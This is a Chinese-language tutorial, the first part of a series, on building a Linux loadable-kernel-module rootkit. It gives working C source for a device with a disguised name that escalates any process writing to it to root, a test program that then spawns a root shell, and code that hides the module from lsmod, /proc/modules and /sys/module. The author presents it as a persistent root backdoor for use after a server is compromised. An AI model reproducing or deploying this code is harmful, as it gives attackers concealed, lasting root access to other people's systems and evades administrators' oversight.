<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】簡易 Linux Rootkit 編寫入門指北(一):模塊隱藏與進程提權

    VSole2021-07-21 17:01:02

    概述

    「Rootkit」即「root kit」,直譯為中文便是「根權限工具包」的意思,在今天的語境下更多指的是一種被作為驅動程序、加載到操作系統內核中的惡意軟件,這一類惡意軟件的主要用途便是「駐留在計算機上提供 root 后門」——當攻擊者再次拿到某個服務器的 shell 時可以通過 rootkit 快速提權到 root

    Linux 下的 rootkit 主要以「可裝載內核模塊」(LKM)的形式存在,作為內核的一部分直接以 ring0 權限向入侵者提供服務;當攻擊者拿到某臺計算機的 shell 并通過相應的漏洞提權到 root 之后便可以在計算機中留下 rootkit,以為攻擊者后續入侵行為提供駐留的 root 后門

    但是作為內核的一部分,LKM 編程在一定意義上便是內核編程,與內核版本密切相關,只有使用相應版本內核源碼進行編譯的 LKM 才可以裝載到對應版本的 kernel 上,這使得 Linux rootkit 顯得有些雞肋(例如服務器管理員某天升級內核版本你就被揚了),且不似蠕蟲病毒那般可以在服務期間肆意傳播,但不可否認的是 rootkit 仍是當前 Linux 下較為主流的 root 后門駐留技術之一

    本篇文章僅為最基礎的 rootkit 編寫入門指南,若是需要成熟可用的 rootkit 可以參見 f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)

    本篇引用的內核源碼來自于 Linux 內核版本 5.11

    Linux 下嘗試裝載不同版本的 LKM 會顯示如下錯誤信息:
    insmod: ERROR: could not insert module hellokernel.ko: Invalid module format
    

    最簡易的LKM

    這里不會敘述太多 Linux 內核編程相關的知識,主要以 rootkit 編寫所會用到的一些技術為主
    基本的 LKM 編寫入門見這里

    以下給出了一個最基礎的 LKM 模板,注冊了一個字符型設備作為后續使用的接口

    rootkit.c
    /** rootkit.ko* developed by arttnba3*/#include #include #include #include #include #include "functions.c"
    static int __init rootkit_init(void){    // register device    major_num = register_chrdev(0, DEVICE_NAME, &a3_rootkit_fo);     // major number 0 for allocated by kernel    if(major_num < 0)        return major_num;   // failed
        // create device class    module_class = class_create(THIS_MODULE, CLASS_NAME);    if(IS_ERR(module_class))    {        unregister_chrdev(major_num, DEVICE_NAME);        return PTR_ERR(module_class);    }
        // create device inode    module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);    if(IS_ERR(module_device))   // failed    {        class_destroy(module_class);        unregister_chrdev(major_num, DEVICE_NAME);        return PTR_ERR(module_device);    }
        __file = filp_open(DEVICE_PATH, O_RDONLY, 0);    if (IS_ERR(__file))            // failed    {        device_destroy(module_class, MKDEV(major_num, 0));        class_destroy(module_class);        unregister_chrdev(major_num, DEVICE_NAME);        return PTR_ERR(__file);    }    __inode = file_inode(__file);    __inode->i_mode |= 0666;    filp_close(__file, NULL);
        return 0;}
    static void __exit rootkit_exit(void){    device_destroy(module_class, MKDEV(major_num, 0));    class_destroy(module_class);    unregister_chrdev(major_num, DEVICE_NAME);}
    module_init(rootkit_init);module_exit(rootkit_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("arttnba3");
    
    functions.c
    #include #include #include #include #include #include "rootkit.h"
    static int a3_rootkit_open(struct inode * __inode, struct file * __file){    return 0;}
    static ssize_t a3_rootkit_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff){    return 0;}
    static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){    return 0;}
    static int a3_rootkit_release(struct inode * __inode, struct file * __file){    printk(KERN_INFO "get info");    return 0;}
    static long a3_rootkit_ioctl(struct file * __file, unsigned int cmd, unsigned long param){    return 0;}
    
    rootkit.h
    #include #include #include #include #include 
    // a difficult-to-detect name#define DEVICE_NAME "intel_rapl_msrdv"#define CLASS_NAME "intel_rapl_msrmd"#define DEVICE_PATH "/dev/intel_rapl_msrdv"
    static int major_num;static struct class * module_class = NULL;static struct device * module_device = NULL;static struct file * __file = NULL;struct inode * __inode = NULL;
    static int __init rootkit_init(void);static void __exit rootkit_exit(void);
    static int a3_rootkit_open(struct inode *, struct file *);static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);static int a3_rootkit_release(struct inode *, struct file *);static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);
    static struct file_operations a3_rootkit_fo = {    .owner = THIS_MODULE,    .unlocked_ioctl = a3_rootkit_ioctl,    .open = a3_rootkit_open,    .read = a3_rootkit_read,    .write = a3_rootkit_write,    .release = a3_rootkit_release,};
    
    makefile
    # Makefile2.6obj-m += rootkit.oCURRENT_PATH := $(shell pwd)LINUX_KERNEL := $(shell uname -r)LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)all:    make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modulesclean:    make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean
    

    我們接下來將以該模塊作為藍本進行修改

    進程權限提升

    cred 結構體

    對于 Linux 下的每一個進程,在 kernel 中都有著一個結構體 cred 用以標識其權限,該結構體定義于內核源碼include/linux/cred.h中,如下:

    struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC    0x43736564#define CRED_MAGIC_DEAD    0x44656144#endif    kuid_t        uid;        /* real UID of the task */    kgid_t        gid;        /* real GID of the task */    kuid_t        suid;        /* saved UID of the task */    kgid_t        sgid;        /* saved GID of the task */    kuid_t        euid;        /* effective UID of the task */    kgid_t        egid;        /* effective GID of the task */    kuid_t        fsuid;        /* UID for VFS ops */    kgid_t        fsgid;        /* GID for VFS ops */    unsigned    securebits;    /* SUID-less security management */    kernel_cap_t    cap_inheritable; /* caps our children can inherit */    kernel_cap_t    cap_permitted;    /* caps we're permitted */    kernel_cap_t    cap_effective;    /* caps we can actually use */    kernel_cap_t    cap_bset;    /* capability bounding set */    kernel_cap_t    cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char    jit_keyring;    /* default keyring to attach requested                     * keys to */    struct key    *session_keyring; /* keyring inherited over fork */    struct key    *process_keyring; /* keyring private to this process */    struct key    *thread_keyring; /* keyring private to this thread */    struct key    *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;    /* subjective LSM security */#endif    struct user_struct *user;    /* real user ID subscription */    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;    /* supplementary groups for euid/fsgid */    /* RCU deletion */    union {        int non_rcu;            /* Can we skip RCU deletion? */        struct rcu_head    rcu;        /* RCU deletion hook */    };} __randomize_layout;
    

    我們主要關注 uid ,一個cred結構體中記載了一個進程四種不同的用戶ID:

    • 真實用戶ID(real UID):標識一個進程啟動時的用戶ID
    • 保存用戶ID(saved UID):標識一個進程最初的有效用戶ID
    • 有效用戶ID(effective UID):標識一個進程正在運行時所屬的用戶ID,一個進程在運行途中是可以改變自己所屬用戶的,因而權限機制也是通過有效用戶ID進行認證的
    • 文件系統用戶ID(UID for VFS ops):標識一個進程創建文件時進行標識的用戶ID

    權限提升

    Linux kernel 進程權限相關細節不在此贅敘,可以參見這里

    cred 結構體中存儲了進程的 effective uid,那么我們不難想到,若是我們直接改寫一個進程對應的 cred 結構體,我們便能直接改變其執行權限

    而在 Linux 中 root 用戶的 uid 為 0,若是我們將一個進程的 uid 都改為 0,該進程便獲得了 root 權限

    方法I.調用commit_creds(prepare_kernel_cred(NULL))

    pwn 選手應該都挺熟悉這個hhhh

    在內核空間有如下兩個函數,都位于kernel/cred.c中:

    • struct cred* prepare_kernel_cred(struct task_struct* daemon):該函數用以拷貝一個進程的cred結構體,并返回一個新的cred結構體,需要注意的是daemon參數應為有效的進程描述符地址或NULL
    • int commit_creds(struct cred *new):該函數用以將一個新的cred結構體應用到進程

    查看prepare_kernel_cred()函數源碼,觀察到如下邏輯:

    struct cred *prepare_kernel_cred(struct task_struct *daemon){    const struct cred *old;    struct cred *new;
        new = kmem_cache_alloc(cred_jar, GFP_KERNEL);    if (!new)        return NULL;
        kdebug("prepare_kernel_cred() alloc %p", new);
        if (daemon)        old = get_task_cred(daemon);    else        old = get_cred(&init_cred);...
    

    在prepare_kernel_cred()函數中,若傳入的參數為NULL,則會缺省使用init進程的cred作為模板進行拷貝,即可以直接獲得一個標識著root權限的cred結構體

    那么我們不難想到,只要我們能夠在內核空間執行commit_creds(prepare_kernel_cred(NULL)),那么就能夠將進程的權限提升到root

    我們來簡單測試一下:修改 write 函數,在用戶向設備寫入時將其提權到 root:

    static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){    commit_creds(prepare_kernel_cred(NULL));    return 0;}
    

    測試例程:

    #include #include #include #include #include 
    int main(void){    int fd = open("/dev/intel_rapl_msrdv", O_RDWR);    write(fd, "aaaa", 4);    sleep(2);    system("/bin/sh");}
    

    簡單測試一下,可以看到當我們的進程寫入設備之后便提權到了 root

    方法II.直接修改 cred 結構體

    前面我們講到,prepare_kernel_cred() 函數用以將一個新的 cred 應用到當前進程,我們來觀察其源碼相應邏輯:

    int commit_creds(struct cred *new){    struct task_struct *task = current;    const struct cred *old = task->real_cred;
        ...
    

    在該函數開頭直接通過宏 current 獲取當前進程的 task_struct,隨后修改的是其成員 real_cred,那么我們在內核模塊中同樣可以直接通過該宏獲取當前進程的 task_struct 結構體,從而直接修改其 real_cred 中的 uid 以實現到 root 的提權

    那么我們的代碼可以修改如下:

    static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){    struct task_struct *task = current;    struct cred *old = task->real_cred;    old->gid = old->sgid = old->egid = KGIDT_INIT(0);    old->uid = old->suid = old->euid = KUIDT_INIT(0);    return 0;}
    

    這里需要注意的是 uid 與 gid 的類型為封裝為結構體的 kuid_t 與 kgid_t 類型,應當使用宏 KGIDT_INIT() 與 KUIDT_INIT() 進行賦值

    還是使用之前的例程簡單測試一下,可以看到當我們的進程寫入設備之后便提權到了 root,不同的是我們只修改了幾個 uid 和 gid,所以原進程的其他信息依舊會保留,這里也可以選擇把其他的一并改掉

    current:CPU 局部變量保存當前進程 task_struct 結構體

    這里簡單講一下宏 current 的是如何獲取當前進程的 task_struct 的:該宏定義于內核源碼 arch/x6/include/asm/current.h 中,展開后為函數 static __always_inline struct task_struct *get_current(void) ,該函數只有一句 return this_cpu_read_stable(current_task);:

    其中 current_task 為 CPU 局部變量,在頭文件開頭使用宏 DECLARE_PER_CPU 從外部引入該變量,該宏定義于 include/linux/percpu-defs.h 中,展開后為 DECLARE_PER_CPU_SECTION(type, name, ""),該宏再度展開為 extern __PCPU_ATTRS(sec) __typeof__(type) name,該宏再度展開為 __percpu __attribute__((section(PER_CPU_BASE_SECTION sec))) PER_CPU_ATTRIBUTES,其中宏 PER_CPU_BASE_SECTION 定義于 include/asm-generic/percpu.h中,SMP(多對稱處理)下展開為字符串 ".data..percpu"。最終展開為 __attribute__((section(".data..percpu"))) (type) name,其中 __attribute__ 宏為 gcc 的特殊機制,具體的參見手冊

    那么我們可以知道該宏最終便是外部引用了一個位于 .data..percpu 這一數據段中的 task_struct 類型的變量 current_task

    接下來看宏 this_cpu_read_stable,該宏定義于 arch/x86/include/asm/percpu.h 中,展開為 __pcpu_size_call_return(this_cpu_read_stable_, pcp),再度展開為如下:

    #define __pcpu_size_call_return(stem, variable)                \({                                    \    typeof(variable) pscr_ret__;                    \    __verify_pcpu_ptr(&(variable));                    \    switch(sizeof(variable)) {                    \    case 1: pscr_ret__ = stem##1(variable); break;            \    case 2: pscr_ret__ = stem##2(variable); break;            \    case 4: pscr_ret__ = stem##4(variable); break;            \    case 8: pscr_ret__ = stem##8(variable); break;            \    default:                            \        __bad_size_call_parameter(); break;            \    }                                \    pscr_ret__;                            \})
    

    開頭先定義了一個變量 pscr_ret__,使用 typeof (GNU C 擴展關鍵字)獲取 variable 的類型

    其中宏 __verify_pcpu_ptr() 同樣定義于該文件中,如下:

    #define __verify_pcpu_ptr(ptr)                        \do {                                    \    const void __percpu *__vpp_verify = (typeof((ptr) + 0))NULL;    \    (void)__vpp_verify;                        \} while (0)
    

    其中 do...while(0) 結構為約定熟成的「只執行一次的語句」的宏的書寫形式,該宏中定義了一個 void 指針通過強制類型轉換獲取 NULL 轉成 ptr 的類型給到該指針(好像沒什么用…?),然后下一句再轉為 NULL(空轉,沒有做任何其他諸如賦值一類的事情,筆者才疏學淺暫時不理解這么做的理由)

    接下來根據變量 variable 的 size 進行宏拼接,前面我們傳入的 current_task 變量為 struct task_struct * 指針類型,這里以 64 位系統為例,最終得到的拼接結果為宏 this_cpu_read_stable_8,定義于 arch/x86/include/asm/percpu.h 中(繞了一圈又回來了),展開為 percpu_stable_op(8, "mov", pcp),再度展開為如下形式:

    #define percpu_stable_op(size, op, _var)                \({                                    \    __pcpu_type_##size pfo_val__;                    \    asm(__pcpu_op2_##size(op, __percpu_arg(P[var]), "%[val]")    \        : [val] __pcpu_reg_##size("=", pfo_val__)            \        : [var] "p" (&(_var)));                    \    (typeof(_var))(unsigned long) pfo_val__;            \})
    

    其中 __pcpu_type_8 展開為 u64,在多個頭文件中都有定義,最終展開為unsigned long long的 typedef 別名

    下一行使用了內聯匯編,其中拼接后得到的宏 __pcpu_op2_8(op, src, dst) 同樣位于這個頭文件,展開為 op "q " src ", " dst;__percpu_arg(x)展開為 __percpu_prefix "%" #x, 再展開為 "%%"__stringify(__percpu_seg)":":__stringify 展開為 __stringify_1(x) 展開為 #x,__percpu_seg 展開為 gs,合起來便是 %%gs:%P[var];拼接宏 __pcpu_reg_8(mod, x) 展開為 mod "r" (x)

    最終展開為如下形式:

    unsigned long long pfo_val__;asm("movq %%gs:%P[var], %[val]" \: [val] "=r" (pfo_val__) \: [var] "p" (&(current_task)));(struct task_struct *)(unsigned long) pfo_val__;
    

    撥開 Linux 內核源碼中的多層嵌套之后我們大抵能夠明白該段代碼的核心便是以 gs 寄存器作為基址,取 current_task 變量偏移處值賦給 pfo_val__ 變量,隨后返回 pro_val__ 變量

    那么為什么 gs 寄存器中存的地址在這個偏移上便是該進程的 task_struct 結構呢?這個和 percpu 機制有關,便不在此贅敘,大概就是每個 CPU 獨立有一塊地址空間,其中會存放包括當前進程的 task_struct 結構體等數據

    模塊隱藏

    當我們將一個 LKM 裝載到內核模塊中之后,用戶尤其是服務器管理員可以使用 lsmod 命令發現你在服務器上留下的rootkit

    arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ sudo insmod rootkit.ko Password: arttnba3@ubuntu:~/Desktop/DailyProgramming/rootkit$ lsmod | grep 'rootkit'rootkit                16384  0
    

    雖然說我們可以把 rootkit 的名字改為「very_important_module_not_root_kit_please_donot_remove_it」一類的名字進行偽裝從而通過社會工程學手段讓用戶難以發現異常,但是哪怕看起來再“正常”的名字也不能夠保證不會被發現,因此我們需要讓用戶無法直接發現我們的 rootkit

    PRE.內核中的內核模塊:module 結構體

    這里僅簡要敘述,在內核當中使用結構體 module 來表示一個內核模塊(定義于 /include/linux/module.h),多個內核模塊通過成員 list (內核雙向鏈表結構list_head,定義于/include/linux/types.h 中,僅有 next 與 prev 指針成員)構成雙向鏈表結構

    在內核模塊編程中,我們可以通過宏 THIS_MODULE (定義于 include/linux/export.h)或者直接用其宏展開 &__list_module 來獲取當前內核模塊的 module 結構體,

    Step-I. /proc/modules 信息隱藏

    Linux 下用以查看模塊的命令 lsmod 其實是從 /proc/modules 這個文件中讀取并進行整理,該文件的內容來自于內核中的 module 雙向鏈表,那么我們只需要將 rootkit 從雙向鏈表中移除即可完成 procfs 中的隱藏

    熟悉內核編程的同學應該都知道 list_del_init() 函數用以進行內核雙向鏈表脫鏈操作,該函數定義于 /include/linux/list.h 中,多重套娃展開后其核心主要是常規的雙向鏈表脫鏈,那么在這里我們其實可以直接手寫雙向鏈表的脫鏈工作

    我們還需要考慮到多線程操作的影響,閱讀 rmmod 背后的系統調用 delete_module 源碼(位于 kernel/module.c 中),觀察到其進入臨界區前使用了一個互斥鎖變量名為 module_mutex,我們的 unlink 操作也將使用該互斥鎖以保證線程安全(畢竟我們進來不是直接搞破壞的hhh)

    在模塊初始化函數末尾添加如下:

    static int __init rootkit_init(void){...
        // unlink from module list    struct list_head * list = (&__this_module.list);    mutex_lock(&module_mutex);    list->prev->next = list->next;    list->next->prev = list->prev;    mutex_unlock(&module_mutex);
        return 0;}
    

    將我們的 rootkit 重新 make 后加載到內核中,我們會發現 lsmod 命令已經無法發現我們的 rootkit,在 /proc/modules 文件中已經沒有我們 rootkit 的信息,與此同時我們的 rootkit 所提供的功能一切正常

    但同樣地,無論是載入還是卸載內核模塊都需要對雙向鏈表進行操作,由于我們的 rootkit 已經脫鏈故我們無法將其卸載,同樣地也無法將其再次載入(雖然說似乎并沒有必要做這兩件事情,因為 rootkit 一次載入后應當是要長久駐留在內核中的)

    Step-II. /sys/module/ 信息隱藏

    sysfs 與 procfs 相類似,同樣是一個基于 RAM 的虛擬文件系統,它的作用是將內核信息以文件的方式提供給用戶程序使用,其中便包括我們的 rootkit 模塊信息,sysfs 會動態讀取內核中的 kobject 層次結構并在 /sys/module/ 目錄下生成文件

    這里簡單講一下 kobject:Kobject 是 Linux 中的設備數據結構基類,在內核中為 struct kobject 結構體,通常內嵌在其他數據結構中;每個設備都有一個 kobject 結構體,多個 kobject 間通過內核雙向鏈表進行鏈接;kobject 之間構成層次結構

    kobject 更多信息參見https://zhuanlan.zhihu.com/p/104834616

    熟悉內核編程的同學應該都知道我們可以使用 kobject_del() 函數(定義于 /lib/kobject.c中)來將一個 kobject 從層次結構中脫離,這里我們將在我們的 rootkit 的 init 函數末尾使用這個函數:

    static int __init rootkit_init(void){...
        // unlink from kobject    kobject_del(&__this_module.mkobj.kobj);
        return 0;}
    

    簡單測試,我們可以發現無論是在 procfs 中還是 sysfs 中都已經沒有了我們的 rootkit 的身影,而提權的功能依舊正常,我們很好地完成了隱藏模塊的功能

    What's more?

    在后續文章中筆者將會講述:

    • 文件隱藏(filldir hook)
    • 進程隱藏(脫離 cred_jar 進行簡易內存分配)
    • 駐留技術(systemd,initrd…)
    • ……
    linux系統結構體類型
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    源碼分析1、LLVM編譯器簡介LLVM 命名最早源自于底層虛擬機的縮寫,由于命名帶來的混亂,LLVM就是該項目的全稱。LLVM 核心庫提供了與編譯器相關的支持,可以作為多種語言編譯器的后臺來使用。自那時以來,已經成長為LLVM的主干項目,由不同的子項目組成,其中許多是正在生產中使用的各種 商業和開源的項目,以及被廣泛用于學術研究。
    快速了解 Linux Sudo 高危提權漏洞的研究利用。
    陳馳 ,2017年加入美團,目前主要負責IDC服務器的檢測防御產品研發,完善服務器側縱深防御體系建設。 楊一 ,2017年加入美團,目前主要負責HIDS主機安全產品研發工作。 胡鑫博 ,2021年加入美團,目前主要負責HIDS Agent的研發。 前言
    VED 的檢查能夠有效檢查到越界讀取, 但是這個防御也是不完整的,精心制作的 msg 仍可能繞過。這兩個緩解措施均是可被繞過的,VED 目前的版本是基于 LKRG 實現的,檢查的完整性與性能的平衡是需要考慮的。另外則是雖然這兩個緩解措施均可被繞過,但是疊加兩者,由于其中的檢查是相互交叉的,比方說完整性檢查包含的 struct msg_msgseg *next, size_t m_ts,和越界檢查。VED 也在探索更加完整并且平衡性能損耗的方案。
    目前Linux內核代碼已經達到了2700萬行量級[2],僅每年通報的Linux內核漏洞就多達數十個。Linux內核主要使用C語言編寫,由于C語言不是類型安全語言,而且偏底層,所以各種內存破壞類漏洞層出不窮。攻擊者利用內核漏洞可以達到本地提權的目的。容器技術本身依賴于Linux內核提供的Namespaces和Cgroups機制,利用內核漏洞,攻擊者可以繞過Namespaces對資源的隔離,達到逃逸的
    在當前CTF比賽中,“偽造IO_FILE”是pwn題里一種常見的利用方式,并且有時難度還不小。
    Seccomp BPF與容器安全
    2022-07-17 10:07:03
    本文詳細介紹了關于seccomp的相關概念,包括seccomp的發展歷史、Seccomp BPF的實現原理以及與seccomp相關的一些工具等。此外,通過實例驗證了如何使用seccomp bpf 來保護Docker的安全。
    文中使用的示例代碼可以從 這里 獲取。的功能是在終端打印出hello這6個字符(包括結尾的?編譯它們分別生成libtest.so和?存在嚴重的內存泄露問題,每調用一次say_hello函數,就會泄露1024字節的內存。
    前言最近一段時間在研究Android加殼和脫殼技術,其中涉及到了一些hook技術,于是將自己學習的一些hook技術進行了一下梳理,以便后面回顧和大家學習。主要是進行文本替換、宏展開、刪除注釋這類簡單工作。所以動態鏈接是將鏈接過程推遲到了運行時才進行。
    隨著Web應用攻擊手段變得復雜,基于請求特征的防護手段,已經不能滿足企業安全防護需求。在2012年的時候,Gartner引入了“Runtime application self-protection”一詞,簡稱為RASP,屬于一種新型應用安全保護技術,它將防護功能“ 注入”到應用程序中,與應用程序融為一體,使應用程序具備自我防護能力,當應用程序遭受到實際攻擊傷害時,能實時檢測和阻斷安全攻擊,而不需要進行人工干預。實現了在攻擊鏈路最關鍵的地方阻斷攻擊。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类